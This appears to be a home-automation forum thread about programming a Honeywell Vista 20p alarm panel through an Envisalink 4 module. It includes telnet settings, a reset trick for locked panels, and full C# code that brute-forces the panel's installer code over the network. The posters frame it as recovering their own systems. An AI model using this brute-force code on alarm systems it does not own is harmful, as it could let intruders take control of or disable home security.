Possible to set up a new Honeywell Vista 20p using new EVL4 instead of keypad?

[djmannyfresh]

Hello all,

I searched the forum but could not find this answered anywhere.

I am replacing my Vista 20p panel that was monitored and was locked out with *98 out of programming. I don't have access to the Compass Download software or compatible modem. So I bought a new panel and a 6160 keypad, as well as an Envisalink 4. I have all the official installer documentation and watched several YouTube videos on how to install and program the new panel using the keypad.

Instead of using the 6160 keypad can I just use the Envisalink 4 as the first keypad to program the panel? I can then add the other keypads after programming is done. I know I'll have to change the default address on them but at least I can do it all from the computer after I've hooked up the panel and all the components. I've already registered my EVL4 and reserved an IP address for it on my router.

Thanks in advance.

[djmannyfresh]

I realized that what I was asking doesn't make sense because the alarm panel has to be programmed already before a virtual keypad shows up on the portal. I thought I would be able to just pull up the device's webpage and be presented with a keypad so I can do all the programming from there. It only lets me configure network settings, a few other things, and the keypad address of the device. Unfortunately, that's not the case. So I'm just going to do the programming using my 6160 keypad.

[rppower]

I know this is an old post but just in case someone else has the same question... once the evl is configured as a keyboard and that it's hooked up to the network, you can telnet to it using a tool like Putty for example. You must use these settings:
Protocol: Raw
Port: 4025
Login: type password with no username
*** for the connection to be successful you must use a WIRED network connection on the computer that initiates the telnet session.

once you're in you can program your stuff with the ease of a computer keyboard

[Jeff H]

The telnet gives you a command line interface? How does one program the Vista panel from there? How does one know what commands to type in?

[Slyke]

Here's the Honeywell PDF: https://drive.google.com/file/d/0Bzrq8o ... sp=sharing

Found from: http://myalarmguy.net.s3-website.us-eas ... lprog.html

[guinness]

I've created a console application at https://github.com/mguinness/ConsoleKeypad which allows programming the Vista panel using the Envisalink module. If you have a brand new panel you could set the keypad address to 16 in the EL web config page as that's always enabled for the first keypad.

FWIW, for anyone that has a locked out panel when *98 was used you can try to power down the panel (inc. battery) and then power up and hold * and # on the keypad after restarting. Hopefully that'll save some old panels from ending up in landfill.

Also it's possible to brute-force the installer code if you don't know it by using the EnvisaLink TPI interface. In effect you would create a loop for 10,000 codes and for each one send XXXX800 where XXXX is the attempted code and wait for either the "Installer Code" message to show or programming mode flag (0x40) to be set. Once you have that you would note the last used code and send *99 to exit programming mode.

[guinness]

For anyone that wants to try and brute-force the installer code, the following application code should work (you'll also need TelnetClient.cs from the aforementioned GitHub repo). Use at your own risk. If programming was exited with *98 installer code lockout this won't work. The system should be disarmed before starting.

If anyone needs a solution for DSC systems, see EVL 4, DSC and lost installer code - hacking my own system for further details.

Code: Select all

class Program
{
    static bool _programMode;
    static TelnetClient _telnetClient;

    static async Task Main(string[] args)
    {
        Console.Title = "Ademco Code Finder";

        if (args.Length == 0)
        {
            Console.WriteLine("Usage: CodeFinder <pwd> [host]");
            return;
        }

        _telnetClient = new TelnetClient(args.Length > 1 ? args[1] : "envisalink", 4025, TimeSpan.Zero, CancellationToken.None);
        _telnetClient.MessageReceived += new EventHandler<string>(HandleMessage);
        _telnetClient.ConnectionClosed += new EventHandler((sender, e) => {
            Console.WriteLine("\nConnection closed");
            Environment.Exit(0);
        });

        try
        {
            Console.Write("Waiting to connect...");
            await _telnetClient.Connect();
            await _telnetClient.Send(args[0]);
            Thread.Sleep(250); //Wait for disconnect
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine(ex.Message);
        }

        if (_telnetClient.IsConnected)
            Console.WriteLine("\rConnected.  Working to find installer code.");
        else
            return;

        for (int i = 0; i < 10000; i++)
        {
            if (_programMode)
            {
                Console.WriteLine("Code found near {0:0000}, exiting programming mode.", i - 1);
                await _telnetClient.Send("*99".ToString());
                break;
            }
            else
            {
                Console.Write("Trying {0:0000}\r", i);
                await _telnetClient.Send(i.ToString("0000") + "800");
            }

            Thread.Sleep(3000); //Pause for response
        }

        _telnetClient.Disconnect();
    }

    static void HandleMessage(object sender, string e)
    {
        if (e == "FAILED")
            Console.WriteLine("Incorrect password");
        else if (e.StartsWith("%"))
        {
            var items = e.TrimStart('%').TrimEnd('$').Split(',');
            if (items[0] == "00")
            {
                var icon = Int32.Parse(items[2], NumberStyles.HexNumber);
                var text = items[5];

                if (icon == 0x40)
                {
                    Console.WriteLine("\n{0} | {1}", text.Substring(0, 16), text.Substring(16));
                    _programMode = true;
                }
            }
        }
    }
}

[Juss12v]

I've created a console application at https://github.com/mguinness/ConsoleKeypad which allows programming the Vista panel using the Envisalink module. If you have a brand new panel you could set the keypad address to 16 in the EL web config page as that's always enabled for the first keypad.

FWIW, for anyone that has a locked out panel when *98 was used you can try to power down the panel (inc. battery) and then power up and hold * and # on the keypad after restarting. Hopefully that'll save some old panels from ending up in landfill.

Also it's possible to brute-force the installer code if you don't know it by using the EnvisaLink TPI interface. In effect you would create a loop for 10,000 codes and for each one send XXXX800 where XXXX is the attempted code and wait for either the "Installer Code" message to show or programming mode flag (0x40) to be set. Once you have that you would note the last used code and send *99 to exit programming mode.

This seems challenging.. Are there any other ways to program the system with the EVL units remotely?

I'd like to be able to add and remove user codes.

[1fiercefish]

While I was able to get the ConsoleKeypad working in Windows, I couldn't successfully build Guiness' brute force project. However, I am a Home Assistant user and was able to create similar bruteforce functionality via a script in HA using the envisalink.keypress service. As I'm sure many Envisalink users are also HA users, I'm linking to the relevant post on the HA forum for that script. If you have anything to contribute, please do.

https://community.home-assistant.io/t/e ... nes/601902